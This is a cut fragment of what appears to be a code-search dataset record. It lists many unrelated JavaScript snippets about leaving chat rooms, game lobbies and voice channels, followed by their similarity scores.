channelLeaveGame();\\n }\",\n \"function SarahKickPlayerOut() {\\n\\tDialogLeave();\\n\\tSarahRoomAvailable = false;\\n\\tCommonSetScreen(\\\"Room\\\", \\\"MainHall\\\");\\n}\",\n \"function leaveRoom(id, name) {\\n var newMessage = {\\n receiverId: id,\\n body: `${getel('myName').value} has left!`,\\n senderName: getel('myName').value,\\n roomName: name\\n }\\n\\n socket.emit('leave', name, newMessage)\\n renderMessage(newMessage)\\n}\",\n \"async function leaveChat(e) {\\n if (roomId) {\\n const db = window.firebase.firestore();\\n window.roomRef = db.collection('rooms').doc(roomId);\\n const messages = await window.roomRef.collection('messages').get();\\n messages.forEach(async candidate => {\\n await candidate.ref.delete();\\n });\\n await window.roomRef.delete();\\n }\\n //automatically signs out user on hangup.\\n window.firebase.auth().signOut();\\n window.location.reload();\\n}\",\n \"function OnTriggerExit(col: Collider){\\n\\tif(col.gameObject.tag == \\\"Player\\\") {\\n\\t\\thasEntered = false;\\n\\t\\tif(stateManager != null) {\\n\\t\\t\\tstateManager.UpdateContextualState(ContextualState.None, false);\\t\\t\\t\\t// false = message does not disappear after a while\\n\\t\\t}\\n\\t}\\n}\",\n \"function leaveRoom() {\\n\\tif (player != \\\"\\\") {\\n\\t\\troundEnded();\\n\\t\\tvar geturl = \\\"/sanaruudukko/rest/sr/process?func=leaveroom&player=\\\" + player + \\\"&passcode=\\\" + passcode;\\n\\t\\t$.ajax({\\n\\t\\t\\tcache: false,\\n\\t\\t\\tdataType : 'xml',\\n\\t\\t\\ttype : 'GET',\\n\\t\\t\\turl : geturl,\\n\\t\\t\\tsuccess : function(data) {\\n\\t\\t\\t\\tinitRoomList();\\n\\t\\t\\t},\\n\\t\\t});\\n\\t}\\n}\",\n \"function leaveGame() {\\n var gameID = currentGame.id;\\n currentGame = undefined;\\n socket.emit('boardleave', {\\n gameID: gameID,\\n boardID: boardID\\n });\\n openHomeScreen($(\\\"#gameLobbyScreen\\\"));\\n}\",\n \"leave(id) {\\n this.sock.send(JSON.stringify({action: 14, channel: 'room:' + id, presence: {action: 1, data: {}}}));\\n }\",\n \"doLeave() {\\n logger.log('do leave', this.myroomjid);\\n const pres = Object(strophe_js__WEBPACK_IMPORTED_MODULE_1__[\\\"$pres\\\"])({\\n to: this.myroomjid,\\n type: 'unavailable'\\n });\\n this.presMap.length = 0; // XXX Strophe is asynchronously sending by default. Unfortunately, that\\n // means that there may not be enough time to send the unavailable\\n // presence. Switching Strophe to synchronous sending is not much of an\\n // option because it may lead to a noticeable delay in navigating away\\n // from the current location. As a compromise, we will try to increase\\n // the chances of sending the unavailable presence within the short time\\n // span that we have upon unloading by invoking flush() on the\\n // connection. We flush() once before sending/queuing the unavailable\\n // presence in order to attemtp to have the unavailable presence at the\\n // top of the send queue. We flush() once more after sending/queuing the\\n // unavailable presence in order to attempt to have it sent as soon as\\n // possible.\\n // FIXME do not use Strophe.Connection in the ChatRoom directly\\n\\n !this.connection.isUsingWebSocket && this.connection.flush();\\n this.connection.send(pres);\\n this.connection.flush();\\n }\",\n \"function leaveRoom(connection) {\\n\\tif(connection&&connection.room) {\\n\\t\\tvar index=connection.room.players.indexOf(connection.player);\\n\\t\\tif(-1!==index) {\\n\\t\\t\\tconnection.room.players.splice(index,1);\\n\\t\\t\\troomsConnects[connection.room.id].splice(\\n\\t\\t\\t\\troomsConnects[connection.room.id].indexOf(connection.sessid),1);\\n\\t\\t\\t// notifying players\\n\\t\\t\\troomsConnects[connection.room.id].forEach(function(destId) {\\n\\t\\t\\t\\tconnections[destId].connection.sendUTF(JSON.stringify(\\n\\t\\t\\t\\t\\t{'type':'leave','player':connection.player.id})\\n\\t\\t\\t\\t);\\n\\t\\t\\t});\\n\\t\\t\\tconnection.room=null;\\n\\t\\t}\\n\\t}\\n}\",\n \"function leaveRoom(){\\n\\n disableElements(\\\"leaveRoom\\\");\\n var message = {\\n id: \\\"leaveRoom\\\"\\n };\\n\\n participants[sessionId].rtcPeer.dispose();\\n sendMessage(message);\\n participants = {};\\n\\n var myNode = document.getElementById(\\\"video_list\\\");\\n while (myNode.firstChild) {\\n myNode.removeChild(myNode.firstChild);\\n }\\n}\",\n \"function logoutUsr(){\\r\\n \\t\\t\\r\\n if(confirm(\\\"You will logged out of Chat\\\")){\\r\\n var usrName=\\\"\\\";\\r\\n \\t if(document.getElementById(\\\"pageType\\\").value==\\\"chat\\\"){\\r\\n \\t usrName =document.getElementById(\\\"usrName\\\").value;\\r\\n \\t emitLogoutMsg(usrName);\\r\\n document.getElementById(\\\"usrName\\\").value=\\\"\\\";\\r\\n eraseCK(chatCK);\\r\\n window.location=chatUrl; \\r\\n \\r\\n \\t }else {\\r\\n \\t usrName =document.getElementById(\\\"usrAdmName\\\").value;\\r\\n \\t emitLogoutMsg(usrName);\\r\\n document.getElementById(\\\"usrAdmName\\\").value=\\\"\\\";\\r\\n eraseCK(adminCK);\\r\\n window.location=adminUrl;\\r\\n \\r\\n }\\r\\n\\r\\n } \\r\\n }\",\n \"leave() {\\n if (this.client.browser) return;\\n const connection = this.client.voice.connections.get(this.guild.id);\\n if (connection && connection.channel.id === this.id) connection.disconnect();\\n }\",\n \"leaveChat() {\\n return () => {\\n this.bbmMessenger.chatLeave(this.chatId).then(() => {\\n console.log(\\\"bbm-chat-header: left the chat\\\");\\n });\\n };\\n }\",\n \"function handleUserLeaveRoom({ roomId }) {\\r\\n socket.leave(roomId);\\r\\n // Update corressponding object in usersArray\\r\\n updateUserRoom(socket, \\\"\\\");\\r\\n const [user, index] = findUserObject(socket);\\r\\n io.to(roomId).emit(\\\"userLeave\\\", {\\r\\n name: user.name,\\r\\n });\\r\\n }\",\n \"function leaveThanks(){\\r\\n\\t//need to be able to feed back to 'edit', 'start', and 'confirm' :):)\\r\\n}\",\n \"function leaveRoom() {\\n window.location = routeHome()\\n }\",\n \"leaveRoom() {\\n debug('videoChat:leaveRoom');\\n const localMedia = this.get('stream');\\n if (localMedia) {\\n (localMedia.getTracks() || []).forEach(t => t.stop());\\n }\\n get(this, 'webrtc').leaveRoom(this.get('roomId'));\\n get(this, 'webrtc').disconnect();\\n (get(this, 'webrtc.webrtc.localStreams') || []).forEach(stream => stream.getTracks().forEach(t => t.stop()));\\n }\",\n \"function SarahSophieFreePlayerAndAmandaTheyLeave() {\\n\\tif (LogQuery(\\\"RentRoom\\\", \\\"PrivateRoom\\\") && (PrivateCharacter.length < PrivateCharacterMax) && !LogQuery(\\\"LockOutOfPrivateRoom\\\", \\\"Rule\\\")) {\\n\\t\\tSarahTransferAmandaToRoom();\\n\\t\\tCommonSetScreen(\\\"Room\\\", \\\"Private\\\");\\n\\t}\\n\\telse {\\n\\t\\tDialogLeave();\\n\\t\\tCommonSetScreen(\\\"Room\\\", \\\"MainHall\\\");\\n\\t}\\n\\tSarahRoomAvailable = false;\\n}\",\n \"Leave() {\\n this.channel.leave();\\n this.joined = false;\\n this.isPlaying = false;\\n delete globals.connections[this.channel.guild.id];\\n }\",\n \"leaveRoom()\\n {\\n this.setRoom(null);\\n }\",\n \"function leave() {\\n document.getElementById(\\\"leave\\\").disabled = true;\\n document.getElementById(\\\"join\\\").disabled = false;\\n\\n client.unpublish(localStream, function (err) {\\n console.log(\\\"Unpublish local stream failed\\\" + err);\\n });\\n\\n client.leave(function () {\\n console.log(\\\"Leavel channel successfully\\\");\\n }, function (err) {\\n console.log(\\\"Leave channel failed\\\");\\n });\\n}\",\n \"onLeave(client, consented) {\\n\\t\\tthis.state.history.push(`${client.sessionId} left AreaRoom.`);\\n\\t}\",\n \"function leaveClient() {\\n\\tsocket.emit('leave', {name: playerId});\\n}\",\n \"function endGame(winner) {\\n\\tdisableAll();\\t\\n\\tif(winner === 'user'){\\n\\t\\tif (userName == ''){\\n\\t\\t\\tResult.render('winner','The winner is YOU!');\\t\\t\\t\\n\\t\\t}\\n\\t\\telse{ \\n\\t\\t\\tvar msg = 'The winner is '+ userName;\\n\\t\\t\\tResult.render('winner',msg);\\t\\t\\t\\t\\t\\n\\t\\t}\\t\\t\\n\\t}\\n\\telse{\\n\\t\\tResult.render('loser','The winner is a Computer!!!');\\t\\t\\n\\t}\\t\\t\\n}\",\n \"function leaveRoom() {\\n socket.emit('leave', {'username': username, 'room': room});\\n\\n document.querySelectorAll('.select-room').forEach(p => {\\n p.style.color = \\\"black\\\";\\n });\\n}\",\n \"function leaveConversation() {\\n var confirm = window.confirm(\\\"Are you sure you want to leave this conversation?\\\");\\n if (confirm) {\\n xhttp(\\\"POST\\\", \\\"leave-conversation.php\\\", {conversation: right.num}, (response) => {\\n if (!response) {\\n alert(\\\"There's a problem leaving this conversation.\\\");\\n } else {\\n alert(\\\"You have left this conversation.\\\");\\n //Removes the entry from data.\\n delete data.conversations[right.num];\\n document.getElementById(\\\"right\\\").innerHTML = \\\"\\\";\\n }\\n });\\n } \\n}\",\n \"function chatOut (msg) {\\n var nickname = $(\\\"#nickname\\\")[0].value;\\n if (msg == \\\"\\\" || !msg)\\n return;\\n chatRef.push({\\n id: id,\\n name: (nickname ? nickname : id),\\n message: msg,\\n timestamp: new Date().getTime()\\n })\\n}\",\n \"function confirmExit() {\\n if (g_IsNetworked && !g_IsNetworkedActive) return;\\n\\n closeOpenDialogs();\\n\\n // Don't ask for exit if other humans are still playing\\n let askExit =\\n !Engine.HasNetServer() ||\\n g_Players.every(\\n (player, i) =>\\n i == 0 ||\\n player.state != \\\"active\\\" ||\\n g_GameAttributes.settings.PlayerData[i].AI != \\\"\\\"\\n );\\n\\n let subject = g_PlayerStateMessages[g_ConfirmExit];\\n if (askExit) subject += \\\"\\\\n\\\" + translate(\\\"Do you want to quit?\\\");\\n\\n messageBox(\\n 400,\\n 200,\\n subject,\\n g_ConfirmExit == \\\"won\\\" ? translate(\\\"VICTORIOUS!\\\") : translate(\\\"DEFEATED!\\\"),\\n askExit ? [translate(\\\"No\\\"), translate(\\\"Yes\\\")] : [translate(\\\"OK\\\")],\\n askExit ? [resumeGame, leaveGame] : [resumeGame]\\n );\\n\\n g_ConfirmExit = false;\\n}\",\n \"leaveVc(msg, bot, lang) {\\r\\n if (this.voiceConnection) {\\r\\n this.musicChannel.send(\\r\\n {\\r\\n embed: {\\r\\n type: 'rich',\\r\\n description: `⛔ Musique arrétée. Je part du channel : **${this.voiceConnection.channel.name}**.`,\\r\\n color: 3447003\\r\\n }}\\r\\n );\\r\\n\\r\\n this.musicChannel = null;\\r\\n if (this.dispatch) this.dispatch.end('leave');\\r\\n this.voiceConnection.disconnect();\\r\\n this.voiceConnection.removeAllListeners();\\r\\n\\r\\n this.changeStatus(Statustype.OFFLINE);\\r\\n\\r\\n this.voiceConnection = null;\\r\\n this.dispatch = null;\\r\\n } else {\\r\\n msg.channel.send(\\r\\n `I'm not in a voice channel! `\\r\\n );\\r\\n }\\r\\n }\",\n \"function detachPlayerFromRoom(request)\\n {\\n var diff_lvl = request.session.player.diff_lvl;\\n var tag = request.session.player.player_tag;\\n\\n roomCount[diff_lvl]--;\\n request.io.leave(diff_lvl);\\n console.log('LEAVE [' + diff_lvl + '] (' + tag + '): roomCount=' + roomCount[diff_lvl] );\\n \\n if (roomCount[diff_lvl] > 0)\\n {\\n var player = { player_tag: tag };\\n request.io.room('' + diff_lvl).broadcast('gamer_exited_room', player );\\n console.log(\\\"BROADCAST [\\\" + diff_lvl + \\\"]: gamer_exited_room (\\\" + tag + \\\")\\\");\\n }\\n else\\n {\\n console.log(\\\"...not BROADCASTing, since room [\\\" + diff_lvl + \\\"] is empty\\\");\\n }\\n }\",\n \"handleClose() {\\n this.room.leave(this);\\n this.room.broadcast({\\n type: 'note',\\n text: `${this.name} left ${this.room.name}.`\\n });\\n }\",\n \"function cancelForgotUsername(){\\n\\tcloseWindow();\\n}\",\n \"function endGame(msg) {\\n //pop up alert message\\n alert (`${msg}`);\\n}\",\n \"function endGame(msg) {\\n\\t// TODO: pop up alert message\\n\\t// this delivers a special pop up alert when a player wins the game\\n\\tSwal.fire('Good job!', msg, 'success');\\n}\",\n \"function leaveGame(sockId) {\\n GameLobby.leftGame(sockId);\\n}\",\n \"function hangUpCall() {\\n closeVideoCall();\\n\\n sendToServer({\\n // caller: my_profile?.userId,\\n sendto: params?.userId,\\n type: \\\"leave\\\",\\n });\\n }\",\n \"function leaveAllRooms() {\\n reloadChatArea();\\n $.post(\\\"/chatroom/leaveAll\\\", {username: username, reasonCode: 0}, function () {\\n chatroomId = -1;\\n getJoinedRooms();\\n getChatRoomUsers();\\n }, \\\"json\\\");\\n}\",\n \"function denyTournament() {\\n\\tdocument.getElementById('askTournament').style.display = \\\"none\\\";\\n\\tvar data = JSON.stringify({\\n\\t\\t'name' : PlayerName,\\n\\t\\t'participate_tournament' : false\\n\\t});\\n\\tsocketConn.send(data);\\n\\tvar serverMsg = document.getElementById('serverMsg');\\n\\tserverMsg.value += (\\\"\\\\n> waiting for other players to finish tournament\\\");\\n}\",\n \"function clientDisconnect(data) {\\n\\tshowNewMessage(\\\"notification\\\", {msg: ' ~ '+data.username+' left the chatroom. ~'});\\n\\tMaterialize.toast(data.username+' left the chatroom.', 2000);\\n\\tremoveUserFromList(data);\\n}\",\n \"function leaveBooking() {\\n if (localStorage.getItem(\\\"bookingRoom\\\")) {\\n localStorage.removeItem(\\\"bookingRoom\\\");\\n }\\n // return \\\"Leaving booking page !\\\";\\n}\",\n \"function notifyLogout(userFound){\\n if(userFound !== false){\\n // echo globally that this client has left\\n socket.broadcast.emit('user left', {\\n username: socket.username,\\n numUsers: 1\\n });\\n userFromMemory.isOnline = false;\\n sendPlayer(userFromMemory);\\n }\\n }\",\n \"function endGame(msg) {\\n\\t// TODO: pop up alert message\\n\\talert(msg);\\n\\tgameLive = false;\\n}\",\n \"function OnLeaveTeamPressed () {\\n Game.PlayerJoinTeam(DOTATeam_t.DOTA_TEAM_NOTEAM);\\n}\",\n \"function endChat() {\\n\\t\\t\\t\\tlogger.debug(\\\"endChat\\\", \\\"...chatState=\\\"+chatState);\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (chat && (chatState == chat.chatStates.CHATTING || chatState == chat.chatStates.RESUMING \\n\\t\\t\\t\\t\\t|| chatState == chat.chatStates.WAITING)) { //|| chatState == chat.chatStates.NOTFOUND\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tvar endChatParam = {\\n\\t\\t\\t\\t\\t\\t\\t\\tdisposeVisitor : true,\\n\\t\\t\\t\\t\\t\\t\\t\\tcontext : myChatWiz,\\n\\t\\t\\t\\t\\t\\t\\t\\tskill : skill,\\n\\t\\t\\t\\t\\t\\t\\t\\terror: function(data) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tlogger.debug(\\\"endChat.error\\\", data);\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tchatWinCloseable = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tendChatHandler();\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t/* send endChat request and waiting for endChat event call back */\\n\\t\\t\\t\\t\\tvar failedRequest = chat.endChat(endChatParam);\\n\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tif (failedRequest && failedRequest.error) {\\n\\t\\t\\t\\t\\t\\tlogger.debug(\\\"endChat.error2\\\", failedRequest);\\n\\t\\t\\t\\t\\t\\tchatWinCloseable = true;\\n\\t\\t\\t\\t\\t\\tendChatHandler();\\t\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}else if(chatState == chat.chatStates.INITIALISED){\\n\\t\\t\\t\\t\\tendChatHandler();\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t}\",\n \"function SarahAmandaLeaveRoom() {\\n\\tfor (let C = 1; C < SarahCharacter.length; C++)\\n\\t\\tif (SarahCharacter[C].Name == \\\"Amanda\\\")\\n\\t\\t\\tSarahCharacter.splice(C, 1);\\n\\tAmandaInside = false;\\n\\tDialogLeave();\\n}\",\n \"function leavePageWith(stateString) {\\n socketRef.current.emit('leave-room-silently', currentUser.uid, room);\\n history.push('/after', {\\n state: { match_id: match_id, type: stateString },\\n });\\n }\",\n \"function leaveTeam(context) {\\n teamsService.leaveTeam()\\n .then(function (res) {\\n sessionStorage.clear();\\n auth.saveSession(res);\\n auth.showInfo(`Successfully leave the team!`);\\n context.redirect('#/catalog');\\n }).catch(auth.handleError);\\n }\",\n \"sendLeavePortalRequest() {\\n log.debug('Sending request to leave portal.');\\n const msgHeader = new MessageBuilder().\\n setType(LEAVE_PORTAL_REQUEST).\\n setPortalHostPeerId(this.portalHostPeerId).\\n setTargetPeerId(this.portalHostPeerId).\\n setSenderPeerId(this.localPeerId).\\n getResult();\\n const message = new MessageBuilder().\\n setHeader(msgHeader).\\n getResult();\\n this.emitter.emit('enqueue-message', message);\\n }\",\n \"function joinRoom(room)\\r\\n{\\r\\n //TODO erase... Name must be known previously\\r\\n var name = '';\\r\\n while(name == '')\\r\\n {\\r\\n name = prompt(\\\"Wie heißt du?\\\");\\r\\n }\\r\\n\\r\\n socket.emit('requestRoom', room, name);\\r\\n document.getElementById(\\\"chooseRoom\\\").classList.add('hidden');\\r\\n \\r\\n //TODO: maybe show loading icon...\\r\\n}\",\n \"function send_off_game_message() {\\n var chat_msg = $('#chat_msg').val();\\n var chat_to = $('#chat_to').val();\\n if (check_field_empty(chat_msg, 'message, cannot send empty message'))\\n return false;\\n if (check_field_empty(chat_to, 'recipient, no recipient specified'))\\n return false;\\n var dataObj = {\\n \\\"content\\\" : [\\n { \\\"session_id\\\" : get_cookie() },\\n { \\\"to\\\" : chat_to },\\n { \\\"content\\\" : chat_msg }\\n ]\\n };\\n call_server('user_msg', dataObj);\\n}\",\n \"exitHandler() {\\n this.saveUser(this.user);\\n Channel.botMessage(`\\\\nGoodbye, ${this.user}!\\\\n\\\\n`);\\n database.save(chatDB);\\n process.exit(0);\\n }\",\n \"function disappear(){\\n\\tif (document.getElementById(\\\"prompt\\\")){\\n\\t\\tvar prompt = document.getElementById(\\\"prompt\\\");\\n\\t\\tprompt.parentNode.removeChild(prompt);\\n\\t}\\n}\",\n \"leaveCourt() {\\n // User is not queued and is thus playing on this court\\n this.props.removeUserFromActive();\\n }\",\n \"function OnLeaveTeamPressed()\\n{\\n\\tGame.PlayerJoinTeam( DOTATeam_t.DOTA_TEAM_NOTEAM );\\n}\",\n \"function SarahLeaveRoom() {\\n\\tfor (let C = 1; C < SarahCharacter.length; C++)\\n\\t\\tif (SarahCharacter[C].Name == \\\"Sarah\\\")\\n\\t\\t\\tSarahCharacter.splice(C, 1);\\n\\tSarahInside = false;\\n\\tDialogLeave();\\n}\",\n \"function handleDisconnect() {\\r\\n console.log(\\\"disconect received\\\", { socket });\\r\\n // Find corressponding object in usersArray\\r\\n const [user, index] = findUserObject(socket);\\r\\n\\r\\n // Emit to room\\r\\n io.to(user.room).emit(\\\"userLeave\\\", {\\r\\n name: user.name,\\r\\n });\\r\\n\\r\\n // Remove user object\\r\\n removeUserObject(socket);\\r\\n }\",\n \"function leaveRoom(socket, userId) {\\n const roomID = socketToRoom[userId];\\n let room = users[roomID];\\n if (room) {\\n room = room.filter(user => user.id !== userId);\\n users[roomID] = room;\\n }\\n socket.broadcast.emit('user left', userId);\\n}\",\n \"function cancel_function() {\\n var testV = 1;\\n var pass1 = prompt('Please Enter Your Password','password');\\n while (testV < 3) {\\n if (pass1.toLowerCase() == \\\"letmein\\\") {\\n cancel_rn = prompt(\\\"Which room would you like to cancel reservation?\\\");\\n for (var i = 0; i < rooms.length; i++) {\\n if(cancel_rn == rooms[i].number){\\n rooms[i].duration_start = \\\"-\\\";\\n rooms[i].duration_end = \\\"-\\\";\\n rooms[i].open = \\\"Open\\\";\\n rooms[i].breakTime = 0;\\n break;\\n }\\n }\\n loadRooms();\\n \\n break;\\n } \\n else {\\n testV+=1;\\n var pass1 = prompt('Access Denied - Password Incorrect, Please Try Again.','Password');\\n }\\n }\\n if (pass1.toLowerCase()!=\\\"password\\\" & testV ==3)\\n history.go(-1);\\n return \\\" \\\";\\n}\",\n \"function handleMessage(){\\n if(currentRoom != old){\\n \\n var message = $('.chat-input input').val().trim();\\n if(message){\\n // send the message to the server with the room name\\n var msg = new Messaging.Message(JSON.stringify({nickname: nickname, message: message, timestamp: Date.now()}));\\n msg.destinationName = atopicName(currentRoom);\\n msg.qos = 1;\\n mqttClient.send(msg);\\n \\n $('.chat-input input').val('');\\n } \\n }}\",\n \"function endgame() {\\n inquirer\\n //ask if the user would like to continue via a y or n prompt \\n .prompt({\\n name: \\\"continue\\\",\\n type: \\\"confirm\\\",\\n message: \\\"Would you like to order more beans?\\\",\\n })\\n .then(function(answer) {\\n // based on their answer, either run queryBeans function (i.e. start over) or end the connection and exit the app\\n if (answer.continue === true) {\\n queryBeans();\\n }\\n else{\\n connection.end();\\n return;\\n }\\n });\\n }\",\n \"handleOpponentLeaving()\\n {\\n console.log(\\\"opponent left\\\")\\n playSound(\\\"oppLeft\\\");\\n if(game.state.current===\\\"ticTac\\\")\\n {\\n Client.disconnectedFromChat({\\\"opponent\\\": game.opponent});\\n game.state.start(\\\"waitingRoom\\\");\\n }\\n else\\n {\\n game.challengingFriend = false\\n game.firstPlay = true\\n }\\n game.opponentLeft = true;\\n $('#opponentCard').css({ 'right': '0px', 'right': '-20%' }).animate({\\n 'right' : '-20%'\\n });\\n }\",\n \"function quit() {\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n name: \\\"menu\\\",\\n message: \\\"Would you like to go back to the main menu?\\\"\\n }\\n ]).then(function (arg) {\\n if (arg.menu === false) {\\n connection.end();\\n process.exit();\\n } else {\\n userPrompt();\\n }\\n });\\n}\",\n \"function PromptNotActive(){}\",\n \"function prepsend() {\\n\\tvar text = Chatbox.input.value;\\n\\tChatbox.input.value = null;\\n\\tswitch (text) {\\n\\tcase \\\"/version\\\":\\n\\t\\tAPI.version();\\n\\t\\treturn;\\n\\t}\\n\\tAPI.sendMsg(text);\\n}\",\n \"function endGame() {\\r\\n\\t\\tgameOver = true;\\r\\n\\t\\tsetMessage2(\\\"Game Over\\\");\\r\\n\\t}\",\n \"leaveRoom(roomName, ack) {\\n /**\\n * Leave the room. The leave method is internal to the socket.io\\n * socket instance.\\n */\\n this.socket.leave(roomName);\\n\\n /**\\n * Log the leave room action.\\n */\\n this.logger.info([this.socket.id, 'left room', roomName].join(' '));\\n \\n /**\\n * Update the list of created rooms.\\n */\\n this.socketManager.updateRooms();\\n\\n /**\\n * This acknowledge function essentially sends a message back to the client\\n * acknowledging that the server received the send event. This particular\\n * ack returns true that the server successfully removed the client from\\n * the room.\\n */\\n ack(roomName);\\n }\",\n \"quit_game(){\\n this.room = DEFAULT_CHATROOM;\\n this.socket.emit('game:stop', { chatroom: this.room });\\n delete this.game;\\n }\",\n \"function confirmClose()\\r\\n{\\r\\n if (g_bActive && event.clientY < 0)\\r\\n {\\r\\n event.returnValue = 'And do you want to quit this chat session also?';\\r\\n// setTimeout('myclose=false',100);\\r\\n// myclose=true;\\r\\n }\\r\\n}\",\n \"function logOut() {\\n input = readline.question(\\\"Are you sure you want to log out? (yes / no)\\\\n>> \\\");\\n if (input === \\\"yes\\\") {\\n console.log(\\\"Logging out, thanks for using MustGet Banking CLI!\\\");\\n // Clear user\\n user = {};\\n // If user wants to logout, return back to beginning of program\\n currentLoc = \\\"start\\\";\\n } else if (input === \\\"no\\\") {\\n console.log(\\\"Ok, returning to menu\\\");\\n // If user doesn't want to logout, return back to menu.\\n currentLoc = \\\"menu\\\";\\n }\\n}\",\n \"function func_close_join_room_pop() {\\n join_room.css(\\\"display\\\", \\\"none\\\");\\n}\",\n \"function endGame(msg) {\\n\\t// TODO: pop up alert message\\n\\talert(msg);\\n}\",\n \"function userMsgSend(e){\\n\\tif(e.which==13){\\n\\t\\tif($('#userText').val()!=0){\\n\\t\\t\\topenAdminOpChat();\\n\\t\\t}\\n\\t}\\n}\",\n \"function leaveClassroomClientSide(id) {\\n\\tvar classroomid = clients[id].classroomid;\\n\\tsendMessage(id, new Message(\\\"*\\\", \\\"server\\\", \\\"classroomid,undefined\\\"));\\n\\tsendMessage(id, new Message(\\\"*\\\", \\\"server\\\", \\\"permissions,undefined\\\"));\\n\\tsendMessage(id, new Message(\\\"message\\\", \\\"server\\\", \\\"Disconnecting from classroom\\\"));\\n}\",\n \"function endGame(msg) {\\n // TODO: pop up alert message\\n alert(msg)\\n}\",\n \"function SarahSophieLeaveRoom() {\\n\\tfor (let C = 1; C < SarahCharacter.length; C++)\\n\\t\\tif ((SarahCharacter[C].Name == \\\"Sophie\\\") || (SarahCharacter[C].Name == \\\"Mistress Sophie\\\"))\\n\\t\\t\\tSarahCharacter.splice(C, 1);\\n\\tSophieInside = false;\\n\\tDialogLeave();\\n}\",\n \"function main(msg) {\\n // Check if user types 'leave\\n if (msg.content === '\\\\'leave') {\\n // Check if the user is in the same voice channel\\n if (msg.member.voice.channel) {\\n // Make the bot leave\\n msg.member.voice.channel.leave();\\n // Delete the user's message\\n msg.delete();\\n }\\n } else if (msg.content === '\\\\'stop') {\\n // Play nothing\\n play(msg, '', volume);\\n } else if (msg.content === '\\\\'cmd') {\\n // Run the commands method\\n commands(msg);\\n }\\n}\",\n \"function endConversationReceived(param) {\\r\\n\\tendConversation(param);\\r\\n\\tnotifyToolbar();\\r\\n}\",\n \"function leave_channel(message, channel)\\n{\\n\\tlet c = find_channel(channel);\\n\\tlet role = message.guild.roles.find(r => r.name === c.role);\\n\\t//let role = message.member.roles.find(r => r.name === c.role);\\n\\n\\tif (role == undefined) {\\n\\t\\treturn false;\\n\\t}\\n\\n\\tif (!c.optout) {\\n\\t\\tif (!message.member.roles.has(role.id)) {\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\n\\t\\tmessage.member.removeRole(role);\\n\\t} else {\\n\\t\\tmessage.member.addRole(role);\\n\\t}\\n\\treturn true;\\n}\",\n \"closeChat() {\\n if (this.messagesRef ) {\\n this.messagesRef.off();\\n }\\n }\",\n \"socketsLeave(room) {\\r\\n this.adapter.delSockets({\\r\\n rooms: this.rooms,\\r\\n except: this.exceptRooms,\\r\\n }, Array.isArray(room) ? room : [room]);\\r\\n }\",\n \"function endConversationHandler() {\\r\\n endConversation(tabs.getActiveTab().title);\\r\\n\\r\\n //send end conversation system message'\\r\\n conn.request({\\r\\n url: CONTACT_LIST_JSON_URL,\\r\\n method: 'POST',\\r\\n params: { method: \\\"endConversation\\\", userId:tabs.getActiveTab().title},\\r\\n success: function(responseObject) {\\r\\n },\\r\\n failure: function() {\\r\\n\\t Ext.Msg.alert(getLocalizationValue('application.javascript.messagingWindow.alert.errorTitle'), getLocalizationValue('application.javascript.messagingWindow.alert.errorMsg'));\\r\\n }\\r\\n });\\r\\n}\",\n \"function endGame(msg) {\\n // TODO: pop up alert message\\n alert(msg);\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7367518","0.7307474","0.72227997","0.7046869","0.6863847","0.68358433","0.68050003","0.6736533","0.66827023","0.66460466","0.6634746","0.6505397","0.6496834","0.6462929","0.6460044","0.64054745","0.6391411","0.6321094","0.6310152","0.62895876","0.62817484","0.6198753","0.613407","0.6119738","0.6105933","0.6100672","0.6092192","0.60802233","0.6076658","0.60501844","0.6024035","0.59923023","0.5973529","0.5972423","0.59267","0.5924167","0.5899115","0.5892778","0.5878221","0.58633256","0.58608836","0.5850646","0.5845452","0.58444387","0.5829315","0.5825856","0.57990414","0.5794012","0.5788164","0.5780917","0.5779853","0.5778756","0.57551295","0.5732102","0.57315254","0.5725374","0.56952757","0.5672169","0.56717753","0.5625015","0.561606","0.561373","0.5611756","0.5593723","0.5589702","0.5588916","0.55855805","0.5578352","0.5577689","0.5561705","0.5561209","0.5561171","0.5553398","0.5544924","0.5542591","0.5537021","0.5512005","0.5507795","0.5500571","0.55001706","0.5499985","0.54980934","0.54947335","0.54913","0.5488004","0.5484479","0.5484116","0.5482841","0.54770094","0.54770076","0.5470186","0.54696256","0.5455271","0.5452669","0.54515994","0.5450089","0.54493284","0.54436445","0.5437331","0.54362696"],"string":"[\n \"0.7367518\",\n \"0.7307474\",\n \"0.72227997\",\n \"0.7046869\",\n \"0.6863847\",\n \"0.68358433\",\n \"0.68050003\",\n \"0.6736533\",\n \"0.66827023\",\n \"0.66460466\",\n \"0.6634746\",\n \"0.6505397\",\n \"0.6496834\",\n \"0.6462929\",\n \"0.6460044\",\n \"0.64054745\",\n \"0.6391411\",\n \"0.6321094\",\n \"0.6310152\",\n \"0.62895876\",\n \"0.62817484\",\n \"0.6198753\",\n \"0.613407\",\n \"0.6119738\",\n \"0.6105933\",\n \"0.6100672\",\n \"0.6092192\",\n \"0.60802233\",\n \"0.6076658\",\n \"0.60501844\",\n \"0.6024035\",\n \"0.59923023\",\n \"0.5973529\",\n \"0.5972423\",\n \"0.59267\",\n \"0.5924167\",\n \"0.5899115\",\n \"0.5892778\",\n \"0.5878221\",\n \"0.58633256\",\n \"0.58608836\",\n \"0.5850646\",\n \"0.5845452\",\n \"0.58444387\",\n \"0.5829315\",\n \"0.5825856\",\n \"0.57990414\",\n \"0.5794012\",\n \"0.5788164\",\n \"0.5780917\",\n \"0.5779853\",\n \"0.5778756\",\n \"0.57551295\",\n \"0.5732102\",\n \"0.57315254\",\n \"0.5725374\",\n \"0.56952757\",\n \"0.5672169\",\n \"0.56717753\",\n \"0.5625015\",\n \"0.561606\",\n \"0.561373\",\n \"0.5611756\",\n \"0.5593723\",\n \"0.5589702\",\n \"0.5588916\",\n \"0.55855805\",\n \"0.5578352\",\n \"0.5577689\",\n \"0.5561705\",\n 